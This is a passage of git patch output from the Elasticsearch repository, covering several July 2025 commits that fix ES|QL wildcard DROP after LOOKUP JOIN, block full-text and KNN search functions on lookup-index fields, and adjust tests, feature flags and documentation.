+            }
+
+            if (expected != null && isArray(actual)) {
+                return isArray(expected) && areArraysEqual(actual, expected);
+            }
+
+            return actual.equals(expected);
+        }
+
+        private static boolean areArraysEqual(Object actualArray, Object expectedArray) {
+            return areArrayLengthsEqual(actualArray, expectedArray) && areArrayElementsEqual(actualArray, expectedArray);
+        }
+
+        private static boolean areArrayLengthsEqual(Object actualArray, Object expectedArray) {
+            return Array.getLength(actualArray) == Array.getLength(expectedArray);
+        }
+
+        private static boolean areArrayElementsEqual(Object actualArray, Object expectedArray) {
+            for (int i = 0; i < Array.getLength(actualArray); i++) {
+                if (areEqual(Array.get(actualArray, i), Array.get(expectedArray, i)) == false) {
+                    return false;
+                }
+            }
+            return true;
+        }
+
+        private static boolean isArray(Object o) {
+            return o.getClass().isArray();
+        }
+
+        // Attempt to make assertions readable:
+        static Object attemptMakeReadable(Object expected) {
+            try {
+                if (expected instanceof BytesRef bytesRef) {
+                    expected = bytesRef.utf8ToString();
+                } else if (expected instanceof List<?> list && list.getFirst() instanceof BytesRef) {
+                    List<String> expectedList = new ArrayList<>(list.size());
+                    for (Object e : list) {
+                        expectedList.add(((BytesRef) e).utf8ToString());
+                    }
+                    expected = expectedList;
+                }
+                return expected;
+            } catch (Exception | AssertionError e) {
+                // ip/geo fields can't be converted to strings:
+                return expected;
+            }
+        }
+
+        public static <T> Matcher<T> prettyEqualTo(T operand) {
+            return new PrettyEqual<>(operand);
+        }
+
+    }
 }

From 1a3494fc958c718642769820e08ad737b2c495f9 Mon Sep 17 00:00:00 2001
From: Alexander Spies <alexander.spies@elastic.co>
Date: Mon, 7 Jul 2025 10:14:40 +0200
Subject: [PATCH 074/299] ESQL: Fix wildcard DROP after LOOKUP JOIN (#130448)
 (#130685)

In EsqlSession#fieldNames, keep track of wildcard patterns in DROP
separately from the references and wildcard patterns in KEEP commands.

Only the latter are relevant to determine if we need to ask for all fields for the
lookup index in the field caps request.
---
 docs/changelog/130448.yaml                    |  6 ++
 .../src/main/resources/lookup-join.csv-spec   | 35 +++++++++
 .../xpack/esql/action/EsqlCapabilities.java   |  7 ++
 .../xpack/esql/session/EsqlSession.java       | 40 ++++++----
 .../session/IndexResolverFieldNamesTests.java | 76 ++++++++++++++++++-
 5 files changed, 148 insertions(+), 16 deletions(-)
 create mode 100644 docs/changelog/130448.yaml

diff --git a/docs/changelog/130448.yaml b/docs/changelog/130448.yaml
new file mode 100644
index 0000000000000..d99ef37b0e071
--- /dev/null
+++ b/docs/changelog/130448.yaml
@@ -0,0 +1,6 @@
+pr: 130448
+summary: Fix wildcard drop after lookup join
+area: ES|QL
+type: bug
+issues:
+ - 129561
diff --git a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/lookup-join.csv-spec b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/lookup-join.csv-spec
index 6254b42e176fa..e82c7be4cede2 100644
--- a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/lookup-join.csv-spec
+++ b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/lookup-join.csv-spec
@@ -1841,6 +1841,41 @@ max:long
 8268153
 ;
 
+wildcardDropAfterLookupJoin
+required_capability: join_lookup_v12
+required_capability: drop_with_wildcard_after_lookup_join
+
+ROW somefield = 0, type = "Production"
+| KEEP somefield, type
+| LOOKUP JOIN message_types_lookup ON type
+| DROP *field
+;
+
+type:keyword | message:keyword
+Production   | Production environment
+;
+
+
+wildcardDropAfterLookupJoinTwice
+required_capability: join_lookup_v12
+required_capability: drop_with_wildcard_after_lookup_join
+
+ROW somefield = 0, type = "Production"
+| KEEP somefield, type
+| EVAL otherfield = 123, language_code = 3
+| LOOKUP JOIN message_types_lookup ON type
+| DROP *field
+| EVAL foofield = 123
+| KEEP *
+| LOOKUP JOIN languages_lookup ON language_code
+| DROP *ge, *field
+;
+
+type:keyword | language_code:integer | language_name:keyword
+Production   | 3                     | Spanish
+;
+
+
 ###############################################
 # LOOKUP JOIN on mixed numerical fields
 ###############################################
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
index f80df51ba21d1..8b1320a9a5b21 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
@@ -1069,6 +1069,13 @@ public enum Cap {
          */
         DROP_AGAIN_WITH_WILDCARD_AFTER_EVAL,
 
+        /**
+         * Correctly ask for all fields from lookup indices even when there is e.g. a {@code DROP *field} after.
+         * See <a href="https://github.com/elastic/elasticsearch/issues/129561">
+         *     ES|QL: missing columns for wildcard drop after lookup join  #129561</a>
+         */
+        DROP_WITH_WILDCARD_AFTER_LOOKUP_JOIN,
+
         /**
          * Support last_over_time aggregation that gets evaluated per time-series
          */
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
index 4ff65f59bbd72..b6dd0c40f3481 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
@@ -627,16 +627,20 @@ static PreAnalysisResult fieldNames(LogicalPlan parsed, Set<String> enrichPolicy
         }
 
         var referencesBuilder = AttributeSet.builder();
-        // "keep" and "drop" attributes are special whenever a wildcard is used in their name, as the wildcard can shadow some
-        // attributes ("lookup join" generated columns among others) and steps like removal of Aliases should ignore the fields
-        // to remove if their name matches one of these wildcards.
+        // "keep" and "drop" attributes are special whenever a wildcard is used in their name, as the wildcard can cover some
+        // attributes ("lookup join" generated columns among others); steps like removal of Aliases should ignore fields matching the
+        // wildcards.
         //
-        // ie "from test | eval lang = languages + 1 | keep *l" should consider both "languages" and "*l" as valid fields to ask for
-        // "from test | eval first_name = 1 | drop first_name | drop *name should also consider "*name" as valid field to ask for
+        // E.g. "from test | eval lang = languages + 1 | keep *l" should consider both "languages" and "*l" as valid fields to ask for
+        // "from test | eval first_name = 1 | drop first_name | drop *name" should also consider "*name" as valid field to ask for
         //
         // NOTE: the grammar allows wildcards to be used in other commands as well, but these are forbidden in the LogicalPlanBuilder
-        var shadowingRefsBuilder = AttributeSet.builder();
-        var keepJoinRefsBuilder = AttributeSet.builder();
+        // Except in KEEP and DROP.
+        var keepRefs = AttributeSet.builder();
+        var dropWildcardRefs = AttributeSet.builder();
+        // fields required to request for lookup joins to work
+        var joinRefs = AttributeSet.builder();
+        // lookup indices where we request "*" because we may require all their fields
         Set<String> wildcardJoinIndices = new java.util.HashSet<>();
 
         boolean[] canRemoveAliases = new boolean[] { true };
@@ -654,14 +658,14 @@ static PreAnalysisResult fieldNames(LogicalPlan parsed, Set<String> enrichPolicy
                 referencesBuilder.addAll(enrichRefs);
             } else if (p instanceof LookupJoin join) {
                 if (join.config().type() instanceof JoinTypes.UsingJoinType usingJoinType) {
-                    keepJoinRefsBuilder.addAll(usingJoinType.columns());
+                    joinRefs.addAll(usingJoinType.columns());
                 }
-                if (shadowingRefsBuilder.isEmpty()) {
+                if (keepRefs.isEmpty()) {
                     // No KEEP commands after the JOIN, so we need to mark this index for "*" field resolution
                     wildcardJoinIndices.add(((UnresolvedRelation) join.right()).indexPattern().indexPattern());
                 } else {
                     // Keep commands can reference the join columns with names that shadow aliases, so we block their removal
-                    keepJoinRefsBuilder.addAll(shadowingRefsBuilder);
+                    joinRefs.addAll(keepRefs);
                 }
             } else {
                 referencesBuilder.addAll(p.references());
@@ -673,10 +677,16 @@ static PreAnalysisResult fieldNames(LogicalPlan parsed, Set<String> enrichPolicy
                 p.forEachExpression(UnresolvedNamePattern.class, up -> {
                     var ua = new UnresolvedAttribute(up.source(), up.name());
                     referencesBuilder.add(ua);
-                    shadowingRefsBuilder.add(ua);
+                    if (p instanceof Keep) {
+                        keepRefs.add(ua);
+                    } else if (p instanceof Drop) {
+                        dropWildcardRefs.add(ua);
+                    } else {
+                        throw new IllegalStateException("Only KEEP and DROP should allow wildcards");
+                    }
                 });
                 if (p instanceof Keep) {
-                    shadowingRefsBuilder.addAll(p.references());
+                    keepRefs.addAll(p.references());
                 }
             }
 
@@ -710,13 +720,15 @@ static PreAnalysisResult fieldNames(LogicalPlan parsed, Set<String> enrichPolicy
                     if (fieldNames.contains(ne.name())) {
                         return;
                     }
-                    referencesBuilder.removeIf(attr -> matchByName(attr, ne.name(), shadowingRefsBuilder.contains(attr)));
+                    referencesBuilder.removeIf(
+                        attr -> matchByName(attr, ne.name(), keepRefs.contains(attr) || dropWildcardRefs.contains(attr))
+                    );
                 });
             }
         });
 
         // Add JOIN ON column references afterward to avoid Alias removal
-        referencesBuilder.addAll(keepJoinRefsBuilder);
+        referencesBuilder.addAll(joinRefs);
         // If any JOIN commands need wildcard field-caps calls, persist the index names
         if (wildcardJoinIndices.isEmpty() == false) {
             result = result.withWildcardJoinIndices(wildcardJoinIndices);
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/IndexResolverFieldNamesTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/IndexResolverFieldNamesTests.java
index 4264fdacc5d7b..ae66488f419e1 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/IndexResolverFieldNamesTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/IndexResolverFieldNamesTests.java
@@ -1969,7 +1969,7 @@ public void testDropAgainWithWildcardAfterEval() {
             """, Set.of("emp_no", "emp_no.*", "*name", "*name.*"));
     }
 
-    public void testDropWildcardedFields_AfterRename() {
+    public void testDropWildcardFieldsAfterRename() {
         assertFieldNames(
             """
                 from employees
@@ -1982,7 +1982,30 @@ public void testDropWildcardedFields_AfterRename() {
         );
     }
 
-    public void testDropWildcardFields_WithLookupJoin() {
+    public void testDropWildcardFieldsAfterLookupJoins() {
+        assumeTrue("LOOKUP JOIN available as snapshot only", EsqlCapabilities.Cap.JOIN_LOOKUP_V12.isEnabled());
+        assertFieldNames("""
+            FROM sample_data
+            | EVAL client_ip = client_ip::keyword
+            | LOOKUP JOIN clientips_lookup ON client_ip
+            | LOOKUP JOIN message_types_lookup ON message
+            | SORT @timestamp
+            | DROP *e""", Set.of("*"), Set.of());
+    }
+
+    public void testDropWildcardFieldsAfterLookupJoins2() {
+        assumeTrue("LOOKUP JOIN available as snapshot only", EsqlCapabilities.Cap.JOIN_LOOKUP_V12.isEnabled());
+        assertFieldNames("""
+            FROM sample_data
+            | EVAL client_ip = client_ip::keyword
+            | LOOKUP JOIN clientips_lookup ON client_ip
+            | DROP *e, client_ip
+            | LOOKUP JOIN message_types_lookup ON message
+            | SORT @timestamp
+            | DROP *e""", Set.of("*"), Set.of());
+    }
+
+    public void testDropWildcardFieldsAfterLookupJoinsAndKeep() {
         assumeTrue("LOOKUP JOIN available as snapshot only", EsqlCapabilities.Cap.JOIN_LOOKUP_V12.isEnabled());
         assertFieldNames(
             """
@@ -1998,6 +2021,55 @@ public void testDropWildcardFields_WithLookupJoin() {
         );
     }
 
+    public void testDropWildcardFieldsAfterLookupJoinKeepLookupJoin() {
+        assumeTrue("LOOKUP JOIN available as snapshot only", EsqlCapabilities.Cap.JOIN_LOOKUP_V12.isEnabled());
+        assertFieldNames(
+            """
+                FROM sample_data
+                | EVAL client_ip = client_ip::keyword
+                | LOOKUP JOIN clientips_lookup ON client_ip
+                | KEEP @timestamp, *e*, client_ip
+                | LOOKUP JOIN message_types_lookup ON message
+                | SORT @timestamp
+                | DROP *e""",
+            Set.of("client_ip", "client_ip.*", "message", "message.*", "@timestamp", "@timestamp.*", "*e*", "*e", "*e.*"),
+            Set.of("message_types_lookup")
+        );
+    }
+
+    public void testDropWildcardFieldsAfterKeepAndLookupJoins() {
+        assumeTrue("LOOKUP JOIN available as snapshot only", EsqlCapabilities.Cap.JOIN_LOOKUP_V12.isEnabled());
+        assertFieldNames(
+            """
+                FROM sample_data
+                | EVAL client_ip = client_ip::keyword
+                | KEEP @timestamp, *e*, client_ip
+                | LOOKUP JOIN clientips_lookup ON client_ip
+                | LOOKUP JOIN message_types_lookup ON message
+                | SORT @timestamp
+                | DROP *e""",
+            Set.of("client_ip", "client_ip.*", "message", "message.*", "@timestamp", "@timestamp.*", "*e*", "*e", "*e.*"),
+            Set.of("clientips_lookup", "message_types_lookup")
+        );
+    }
+
+    public void testDropWildcardFieldsAfterKeepAndLookupJoins2() {
+        assumeTrue("LOOKUP JOIN available as snapshot only", EsqlCapabilities.Cap.JOIN_LOOKUP_V12.isEnabled());
+        assertFieldNames(
+            """
+                FROM sample_data
+                | EVAL client_ip = client_ip::keyword
+                | KEEP @timestamp, *e*, client_ip
+                | LOOKUP JOIN clientips_lookup ON client_ip
+                | DROP *e
+                | LOOKUP JOIN message_types_lookup ON message
+                | SORT @timestamp
+                | DROP *e, client_ip""",
+            Set.of("client_ip", "client_ip.*", "message", "message.*", "@timestamp", "@timestamp.*", "*e*", "*e", "*e.*"),
+            Set.of("clientips_lookup", "message_types_lookup")
+        );
+    }
+
     public void testForkFieldsWithKeepAfterFork() {
         assertFieldNames("""
             FROM test

From 04e1f93c7747c95fa46dd681a353cadf7d8e9110 Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Mon, 7 Jul 2025 10:20:55 +0200
Subject: [PATCH 075/299] Fix various test to run with FIPS and entitlements
 (#130616) (#130686)

(cherry picked from commit b35e97e8efba0c672f1114df1dc882ed12340260)

# Conflicts:
#	muted-tests.yml
---
 .../entitlement/runtime/policy/TestPolicyManager.java           | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
index 2acf549231950..5e269066e0edb 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
@@ -159,6 +159,8 @@ private boolean isTestCode(Class<?> requestingClass) {
         "org.junit",
         "org.mockito",
         "net.bytebuddy", // Mockito uses this
+
+        "org.bouncycastle.jsse.provider" // Used in test code if FIPS is enabled, support more fine-grained config in ES-12128
     };
 
     @Override

From d9c537f9f85fdbe82dc0dd794db0618c33e0b214 Mon Sep 17 00:00:00 2001
From: Ioana Tagirta <ioanatia@users.noreply.github.com>
Date: Mon, 7 Jul 2025 10:28:57 +0200
Subject: [PATCH 076/299] ES|QL: fix telemetry tests after FORK release
 (#129983) (#130688)

Co-authored-by: Luigi Dell'Aquila <luigi.dellaquila@gmail.com>
---
 muted-tests.yml                                               | 3 ---
 .../resources/rest-api-spec/test/esql/60_usage.yml            | 4 ++--
 2 files changed, 2 insertions(+), 5 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index fb1800e8657ea..b1664c3bf510c 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -512,9 +512,6 @@ tests:
 - class: org.elasticsearch.xpack.rank.rrf.RRFRankClientYamlTestSuiteIT
   method: test {yaml=rrf/950_pinned_interaction/rrf with pinned retriever as a sub-retriever}
   issue: https://github.com/elastic/elasticsearch/issues/129845
-- class: org.elasticsearch.xpack.test.rest.XPackRestIT
-  method: test {p0=esql/60_usage/Basic ESQL usage output (telemetry) non-snapshot version}
-  issue: https://github.com/elastic/elasticsearch/issues/129888
 - class: org.elasticsearch.gradle.internal.InternalDistributionBwcSetupPluginFuncTest
   method: "builds distribution from branches via archives extractedAssemble [bwcDistVersion: 8.2.1, bwcProject: bugfix, expectedAssembleTaskName:
     extractedAssemble, #2]"
diff --git a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/60_usage.yml b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/60_usage.yml
index 1276f026ffdf7..72b518e2228ee 100644
--- a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/60_usage.yml
+++ b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/60_usage.yml
@@ -146,7 +146,7 @@ setup:
   - do: {xpack.usage: {}}
   - match: { esql.available: true }
   - match: { esql.enabled: true }
-  - length: { esql.features: 26 }
+  - length: { esql.features: 27 }
   - set: {esql.features.dissect: dissect_counter}
   - set: {esql.features.drop: drop_counter}
   - set: {esql.features.eval: eval_counter}
@@ -228,7 +228,7 @@ setup:
   - gt: {esql.functions.to_long: $functions_to_long}
   - match: {esql.functions.coalesce: $functions_coalesce}
   - gt: {esql.functions.categorize: $functions_categorize}
-  - length: {esql.functions: 146} # check the "sister" test above for a likely update to the same esql.functions length check
+  - length: {esql.functions: 137} # check the "sister" test above for a likely update to the same esql.functions length check
 
 ---
 took:

From 21840cad485ba634399daef711c6746f72a6fa38 Mon Sep 17 00:00:00 2001
From: Martijn van Groningen <martijn.v.groningen@gmail.com>
Date: Mon, 7 Jul 2025 11:45:47 +0200
Subject: [PATCH 077/299] Fix LogsdbTestSuiteIT 9.1 release test failures 
 (#130633)

and ensure this yaml test suite isn't run if build is not snapshot.

Closes #130506
Closes #130507
---
 .../test/cluster/FeatureFlag.java              |  2 +-
 .../xpack/logsdb/LogsdbTestSuiteIT.java        | 18 +++++++++++++++++-
 2 files changed, 18 insertions(+), 2 deletions(-)

diff --git a/test/test-clusters/src/main/java/org/elasticsearch/test/cluster/FeatureFlag.java b/test/test-clusters/src/main/java/org/elasticsearch/test/cluster/FeatureFlag.java
index 3916d8b89aebb..a23a4b866998b 100644
--- a/test/test-clusters/src/main/java/org/elasticsearch/test/cluster/FeatureFlag.java
+++ b/test/test-clusters/src/main/java/org/elasticsearch/test/cluster/FeatureFlag.java
@@ -22,7 +22,7 @@ public enum FeatureFlag {
     USE_LUCENE101_POSTINGS_FORMAT("es.use_lucene101_postings_format_feature_flag_enabled=true", Version.fromString("9.1.0"), null),
     IVF_FORMAT("es.ivf_format_feature_flag_enabled=true", Version.fromString("9.1.0"), null),
     LOGS_STREAM("es.logs_stream_feature_flag_enabled=true", Version.fromString("9.1.0"), null),
-    PATTERNED_TEXT("es.patterned_text_feature_flag_enabled=true", Version.fromString("9.2.0"), null);
+    PATTERNED_TEXT("es.patterned_text_feature_flag_enabled=true", Version.fromString("9.1.0"), null);
 
     public final String systemProperty;
     public final Version from;
diff --git a/x-pack/plugin/logsdb/src/yamlRestTest/java/org/elasticsearch/xpack/logsdb/LogsdbTestSuiteIT.java b/x-pack/plugin/logsdb/src/yamlRestTest/java/org/elasticsearch/xpack/logsdb/LogsdbTestSuiteIT.java
index 9275c7936faff..72ba813055083 100644
--- a/x-pack/plugin/logsdb/src/yamlRestTest/java/org/elasticsearch/xpack/logsdb/LogsdbTestSuiteIT.java
+++ b/x-pack/plugin/logsdb/src/yamlRestTest/java/org/elasticsearch/xpack/logsdb/LogsdbTestSuiteIT.java
@@ -10,6 +10,7 @@
 import com.carrotsearch.randomizedtesting.annotations.Name;
 import com.carrotsearch.randomizedtesting.annotations.ParametersFactory;
 
+import org.elasticsearch.Build;
 import org.elasticsearch.common.settings.SecureString;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.common.util.concurrent.ThreadContext;
@@ -20,6 +21,9 @@
 import org.elasticsearch.test.rest.yaml.ESClientYamlSuiteTestCase;
 import org.junit.ClassRule;
 
+import java.util.ArrayList;
+import java.util.List;
+
 public class LogsdbTestSuiteIT extends ESClientYamlSuiteTestCase {
 
     private static final String USER = "test_admin";
@@ -43,7 +47,19 @@ public LogsdbTestSuiteIT(@Name("yaml") ClientYamlTestCandidate testCandidate) {
 
     @ParametersFactory
     public static Iterable<Object[]> parameters() throws Exception {
-        return ESClientYamlSuiteTestCase.createParameters();
+        // Filter out 52_esql_insist_operator_synthetic_source.yml suite for snapshot builds:
+        // (esql doesn't use feature flags and all experimental features are just enabled if build is snapshot)
+
+        List<Object[]> filtered = new ArrayList<>();
+        for (Object[] params : ESClientYamlSuiteTestCase.createParameters()) {
+            ClientYamlTestCandidate candidate = (ClientYamlTestCandidate) params[0];
+            if (candidate.getRestTestSuite().getName().equals("52_esql_insist_operator_synthetic_source")
+                && Build.current().isSnapshot() == false) {
+                continue;
+            }
+            filtered.add(new Object[] { candidate });
+        }
+        return filtered;
     }
 
     @Override

From edc39be242c1fc351d5717bca2dcacfb85f78b3e Mon Sep 17 00:00:00 2001
From: Liam Thompson <leemthompo@gmail.com>
Date: Mon, 7 Jul 2025 11:46:58 +0200
Subject: [PATCH 078/299] [9.1] [DOCS] Reformat warning (#130697) (#130700)

* [DOCS] Reformat warning (#130697)

We should have used the standard warning here because we don't need a title for the admonition

(cherry picked from commit ec5254bfbb03725fbc9442a09aa774e409e827fb)

# Conflicts:
#	docs/reference/elasticsearch/mapping-reference/mapping-source-field.md

* update
---
 .../mapping-reference/mapping-source-field.md              | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/docs/reference/elasticsearch/mapping-reference/mapping-source-field.md b/docs/reference/elasticsearch/mapping-reference/mapping-source-field.md
index 931909d1cb371..f3b18562e7aa4 100644
--- a/docs/reference/elasticsearch/mapping-reference/mapping-source-field.md
+++ b/docs/reference/elasticsearch/mapping-reference/mapping-source-field.md
@@ -305,13 +305,12 @@ PUT my-index-000001
 }
 ```
 
-::::{admonition} Think before disabling the _source field
-:class: warning
+::::{warning}
 
-Users often disable the `_source` field without thinking about the consequences, and then live to regret it. If the `_source` field isn’t available then a number of features are not supported:
+Do not disable the `_source` field, unless absolutely necessary. If you disable it, the following critical features will not be supported:
 
 * The [`update`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-update), [`update_by_query`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-update-by-query), and [`reindex`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-reindex) APIs.
-* In the {{kib}} [Discover](docs-content://explore-analyze/discover.md) application, field data will not be displayed.
+* Display of field data in the {{kib}} [Discover](docs-content://explore-analyze/discover.md) application.
 * On the fly [highlighting](/reference/elasticsearch/rest-apis/highlighting.md).
 * The ability to reindex from one Elasticsearch index to another, either to change mappings or analysis, or to upgrade an index to a new major version.
 * The ability to debug queries or aggregations by viewing the original document used at index time.

From 06c43103b02bbeecebd6f60d2f4a01efb4e886a5 Mon Sep 17 00:00:00 2001
From: Bogdan Pintea <bogdan.pintea@elastic.co>
Date: Mon, 7 Jul 2025 12:49:13 +0200
Subject: [PATCH 079/299] [9.1] ESQL: Prevent search functions work with a
 non-STANDARD index (#130638) (#130646)

* ESQL: Prevent search functions work with a non-STANDARD index (#130638)

This introduces verifications to prevent search functions work on fields
introduced by a LOOKUP JOIN righthand-side index.

This should be a temporary fix until we can either push these filters
down also on the righthand-side of a JOIN or have these functions
execute within the engine.

Closes #130561 Closes #129778

* adapt test to 9.1
---
 docs/changelog/130638.yaml                    |  7 ++
 .../xpack/esql/plugin/KnnFunctionIT.java      | 51 +++++++++++++++
 .../xpack/esql/plugin/MatchFunctionIT.java    | 40 ++++++++++--
 .../xpack/esql/plugin/MatchOperatorIT.java    | 38 +++++------
 .../esql/plugin/MatchPhraseFunctionIT.java    | 39 +++++------
 .../xpack/esql/plugin/QueryStringIT.java      | 23 ++++++-
 .../xpack/esql/plugin/TermIT.java             | 65 +++++--------------
 .../function/fulltext/FullTextFunction.java   | 40 ++++++++++++
 .../expression/function/fulltext/Match.java   | 15 +----
 .../function/fulltext/MatchPhrase.java        | 17 +----
 .../expression/function/fulltext/Term.java    | 16 +----
 .../esql/expression/function/vector/Knn.java  | 15 ++++-
 12 files changed, 219 insertions(+), 147 deletions(-)
 create mode 100644 docs/changelog/130638.yaml

diff --git a/docs/changelog/130638.yaml b/docs/changelog/130638.yaml
new file mode 100644
index 0000000000000..c32f0269aab09
--- /dev/null
+++ b/docs/changelog/130638.yaml
@@ -0,0 +1,7 @@
+pr: 130638
+summary: Prevent search functions work with a non-STANDARD index
+area: ES|QL
+type: bug
+issues:
+ - 130561
+ - 129778
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/KnnFunctionIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/KnnFunctionIT.java
index a262943909938..a107e58c0869c 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/KnnFunctionIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/KnnFunctionIT.java
@@ -8,11 +8,14 @@
 package org.elasticsearch.xpack.esql.plugin;
 
 import org.elasticsearch.action.index.IndexRequestBuilder;
+import org.elasticsearch.client.internal.IndicesAdminClient;
 import org.elasticsearch.cluster.metadata.IndexMetadata;
 import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.index.IndexSettings;
 import org.elasticsearch.xcontent.XContentBuilder;
 import org.elasticsearch.xcontent.XContentFactory;
 import org.elasticsearch.xpack.esql.EsqlTestUtils;
+import org.elasticsearch.xpack.esql.VerificationException;
 import org.elasticsearch.xpack.esql.action.AbstractEsqlIntegTestCase;
 import org.elasticsearch.xpack.esql.action.EsqlCapabilities;
 import org.junit.Before;
@@ -25,7 +28,9 @@
 import java.util.Locale;
 import java.util.Map;
 
+import static org.elasticsearch.index.IndexMode.LOOKUP;
 import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
+import static org.hamcrest.CoreMatchers.containsString;
 
 public class KnnFunctionIT extends AbstractEsqlIntegTestCase {
 
@@ -109,6 +114,26 @@ public void testKnnNonPushedDown() {
         }
     }
 
+    public void testKnnWithLookupJoin() {
+        float[] queryVector = new float[numDims];
+        Arrays.fill(queryVector, 1.0f);
+
+        var query = String.format(Locale.ROOT, """
+            FROM test
+            | LOOKUP JOIN test_lookup ON id
+            | WHERE KNN(lookup_vector, %s, {"k": 5}) OR id > 10
+            """, Arrays.toString(queryVector));
+
+        var error = expectThrows(VerificationException.class, () -> run(query));
+        assertThat(
+            error.getMessage(),
+            containsString(
+                "line 3:13: [KNN] function cannot operate on [lookup_vector], supplied by an index [test_lookup] in non-STANDARD "
+                    + "mode [lookup]"
+            )
+        );
+    }
+
     @Before
     public void setup() throws IOException {
         assumeTrue("Needs KNN support", EsqlCapabilities.Cap.KNN_FUNCTION.isEnabled());
@@ -152,5 +177,31 @@ public void setup() throws IOException {
         }
 
         indexRandom(true, docs);
+
+        createAndPopulateLookupIndex(client, "test_lookup");
+    }
+
+    private void createAndPopulateLookupIndex(IndicesAdminClient client, String lookupIndexName) throws IOException {
+        XContentBuilder mapping = XContentFactory.jsonBuilder()
+            .startObject()
+            .startObject("properties")
+            .startObject("id")
+            .field("type", "integer")
+            .endObject()
+            .startObject("lookup_vector")
+            .field("type", "dense_vector")
+            .field("similarity", "l2_norm")
+            .endObject()
+            .endObject()
+            .endObject();
+
+        Settings.Builder settingsBuilder = Settings.builder()
+            .put(IndexMetadata.SETTING_NUMBER_OF_REPLICAS, 0)
+            .put(IndexMetadata.SETTING_NUMBER_OF_SHARDS, 1)
+            .put(IndexSettings.MODE.getKey(), LOOKUP.getName());
+
+        var createRequest = client.prepareCreate(lookupIndexName).setMapping(mapping).setSettings(settingsBuilder.build());
+        assertAcked(createRequest);
+
     }
 }
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/MatchFunctionIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/MatchFunctionIT.java
index 23958fcd35f30..82124c4c85bb8 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/MatchFunctionIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/MatchFunctionIT.java
@@ -10,6 +10,7 @@
 import org.elasticsearch.ElasticsearchException;
 import org.elasticsearch.action.index.IndexRequest;
 import org.elasticsearch.action.support.WriteRequest;
+import org.elasticsearch.client.internal.IndicesAdminClient;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.xpack.esql.VerificationException;
 import org.elasticsearch.xpack.esql.action.AbstractEsqlIntegTestCase;
@@ -17,6 +18,7 @@
 import org.junit.Before;
 
 import java.util.List;
+import java.util.function.Consumer;
 
 import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
 import static org.elasticsearch.xpack.esql.EsqlTestUtils.getValuesList;
@@ -27,7 +29,7 @@ public class MatchFunctionIT extends AbstractEsqlIntegTestCase {
 
     @Before
     public void setupIndex() {
-        createAndPopulateIndex();
+        createAndPopulateIndex(this::ensureYellow);
     }
 
     public void testSimpleWhereMatch() {
@@ -294,13 +296,30 @@ public void testMatchWithinEval() {
         assertThat(error.getMessage(), containsString("[MATCH] function is only supported in WHERE and STATS commands"));
     }
 
-    private void createAndPopulateIndex() {
+    public void testMatchWithLookupJoin() {
+        var query = """
+            FROM test
+            | LOOKUP JOIN test_lookup ON id
+            | WHERE id > 0 AND MATCH(lookup_content, "fox")
+            """;
+
+        var error = expectThrows(VerificationException.class, () -> run(query));
+        assertThat(
+            error.getMessage(),
+            containsString(
+                "line 3:26: [MATCH] function cannot operate on [lookup_content], supplied by an index [test_lookup] "
+                    + "in non-STANDARD mode [lookup]"
+            )
+        );
+    }
+
+    static void createAndPopulateIndex(Consumer<String[]> ensureYellow) {
         var indexName = "test";
         var client = client().admin().indices();
